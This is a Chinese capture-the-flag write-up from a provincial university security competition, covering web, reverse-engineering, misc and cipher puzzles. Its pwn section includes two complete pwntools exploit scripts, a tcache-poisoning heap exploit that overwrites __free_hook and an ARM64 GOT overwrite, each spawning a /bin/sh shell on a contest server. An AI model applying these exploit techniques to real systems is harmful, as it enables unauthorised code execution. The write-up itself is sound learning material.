第五届浙江省大学生网络与信息安全竞赛初赛-WP

战队信息

Rml

Rank: 32

解题过程

Web

nisc_easyweb

访问/robots.txt,发现/api/record,访问后到/test_api.php,F12得到i=FlagInHere,按题目要求get传参拿到flag

nisc_学校门户网站

访问学生系统,任意注册一个用户进入系统拿到flag

吃豆人吃豆魂

在index.js中搜到失败返回值,成功返回值就在上一行

base64解密拿到flag

REFTQ1RGe2YyMzViMDIzODJhMjIzZmRhNGNlMmVjNjIxNDhkOTRjfQ==

DASCTF{f235b02382a223fda4ce2ec62148d94c}

PWN

babyheap

因为程序存在uaf,所以连续释放两个chunk,可以获取heap段地址,这样可以计算出tcache bin的地址

通过覆盖tcache bin的值,在任意地址放置chunk,设置chunk0size0x430,并在chunk0+0x430的位置处构造两个0x20字节的chunk 释放chunk0,获取libc地址,再利用tcache bin,可以以最少的chunk数,在free_hook中写入system函数地址

再次执行free函数调用system("/bin/sh")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

def add(size):
p.sendlineafter('choice:','1')
p.sendlineafter('size:',str(size))

def edit(ind,data):
p.sendlineafter('choice:','2')
p.sendlineafter('index:',str(ind))
p.sendafter('content:',data)

def show(ind):
p.sendlineafter('choice:','3')
p.sendlineafter('index:',str(ind))

def free(ind):
p.sendlineafter('choice:','4')
p.sendlineafter('index:',str(ind))

libc=ELF('./libc-2.27.so',checksec=0)
p=remote('1.14.97.218','27188')
#p=process('./babyheap')
#gdb.attach(p)
add(0x58) #0
add(0x58) #1

free(0)
free(1)
show(1)

p.readuntil(' \n')
d=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(d))
heap=d&0xfffffffffffff000+0x70
edit(1,p64(heap))
add(0x58) #2
add(0x58) #3
edit(3,p64(0)*2+p64(d-0x10)+p64(d-0x10+0x430))
add(0x58) #4
add(0x68) #5
edit(5,p64(0x0)+p64(0x21)+p64(0)*3+p64(0x21))
edit(4,p64(0)+p64(0x431))
free(0)
show(0)
p.readuntil(' \n')
d=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
malloc_hook=d-0x60-0x10
libc.address=malloc_hook-libc.sym['__malloc_hook']
system=libc.sym['system']
free_hook=libc.sym['__free_hook']
edit(3,p64(0)*2+p64(free_hook))
edit(1,b'/bin/sh\x00')
add(0x58) # 6
edit(6,p64(system))
pause()
free(1)
p.interactive()

new_stack

赛后复现

main函数

后门函数

后门函数会将我们输入的数据写入栈中,刚好最后8字节可以修改X29寄存器的值,而这个寄存器在程序中是用来临时储存函数第一个参数的寄存器,会用来修改X0寄存器,刚好在后门函数结束后会执行一次输入输出,这时可以通过修改got表控制程序流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
p=remote('10.201.15.180',4444)
libc=ELF('./libc.so.6',checksec=0)
e=ELF('./pwn1',checksec=0)
read_1=0x4007f4
ret=0x400834
puts_got=e.got['puts']
puts=0x400590
read=0x400590
bss=e.bss(0x100)
p.readuntil('name')
p.send(b'a'*0x10+p64(puts_got-0x18))
p.readuntil('go')
p.send(p64(read_1)+p64(read)+p64(ret))
p.send(p64(puts))
# 因为正常输出会输出puts函数对应got表项中的数值
# 这时利用程序的延迟绑定技术,会使puts函数对应got表项中储存真实的puts函数地址
# 可以用来获取libc地址
d=(u64(p.readuntil("\nlet's go",drop=1).ljust(0x8,b'\x00'))>>8)
print(hex(d))
libc.address=d-libc.sym['puts']
print(hex(libc.address))
system=libc.sym['system']
p.send(p64(read_1)+p64(read)+p64(ret))
p.send(p64(system)+p64(read)+p64(0x4007f0))
# 先通过 LDP X29, X30, [SP+0x30+var_30],#0x30 指令设置X29的值为栈中的数值
# 并将puts函数设置为system
# 这时向栈中写入/bin/sh ,在执行puts函数时就会执行system("/bin/sh");
p.interactive()

RE

ManyCheck

程序在check1中会检测输入是否等于77

check2中输入的第一个数字的平方要等于3025,第二个数的平方要等于2401

根据reshort16函数得知,将check3输入的数字的高两个字节和低两个字节调换位置后要等于0x66744769

按要求输入完四个数字拿到flag

MISC

好怪哦

先将文件反转一下

1
2
3
4
5
with open('fuck.zip','rb') as f:

with open('1.zip','wb') as g:

g.write(f.read()[::-1])

flag.png少了文件头,补上89 50 4e 47

crc报错,修改下高度拿到flag

神奇的棋盘

赛后复现

lsb查看0通道,发现一串加密字符,base32解密得到LastKey{Yusayyds}

首先是波利比奥斯方阵密码

手搓或者脚本

1
2
3
4
5
6
7
a='11,22,11,53,53,14,11,22,22,51,22,22,51,14,51,11,14,11,51,53,14,22,11,14,51,22,14,51,11,11,14,14,14,14,21,53,11,21,11,21,14,22,14,51,53,53,14,22,22,14,22,22,14,53,14,14,21,14,14,53,51,22,53,11,14,22,51,14,21,53,51,51,11,11,14,14,53,14,53,53,11,14,14,51,22,22,22,53,22,53,53,53,53,22,53,53,22,22,53,22,14,51,51,51,22,22,22,11,22,11,11,11,11,22,11,11,22,22,11,22,14,14,14,11,22,11,22,22,22,11,22,22,11,22,11,22,11,11,11,51,11,11,11,53,22,53,22,22,22,53,22,22,53,22,53,22,53,53,53,51'
a=a.split(',')
t="ABCDEFGHIKLMNOPQRSTUVWXYZ"
n=''
for i in a:
n=n+t[(int(i[0])-1)*5+int(i[1])-1]
print(n)

得到AGAXXDAGGVGGVDVADAVXDGADVGDVAADDDDFXAFAFDGDVXXDGGDGGDXDDFDDXVGXADGVDFXVVAADDXDXXADDVGGGXGXXXXGXXGGXGDVVVGGGAGAAAAGAAGGAGDDDAGAGGGAGGAGAGAAAVAAAXGXGGGXGGXGXGXXXV

加上key解ADFGVX密码

4441534354467b64383539633431633533306166633163316164393461626439326634626166387d

十六进制转字符串得到flag

segmentFlow

赛后复现

文件很小,直接crc爆破

得到解压密码gZinflAte_BasE64

追踪流,发现sa066b32bfb3e7的值在传递zip文件

tshark提取出来

tshark -r segmentFlow.pcapng -Y "http.request" -T fields -e http.file_data > data.txt

提取压缩包部分

1
2
3
4
5
6
7
f=open('data.txt','r')
f1=open("data.zip","wb")
data=f.read()
data=data.split('&sa066b32bfb3e7=')
for i in range(1,len(data)):
print(data[i][:8],end='')
f1.write(bytes.fromhex(data[i][:8]))

解压得到flag


第五届浙江省大学生网络与信息安全竞赛初赛-WP
https://www.dr0n.top/posts/f203fa52/
作者
dr0n
发布于
2022年9月17日
更新于
2024年3月22日
许可协议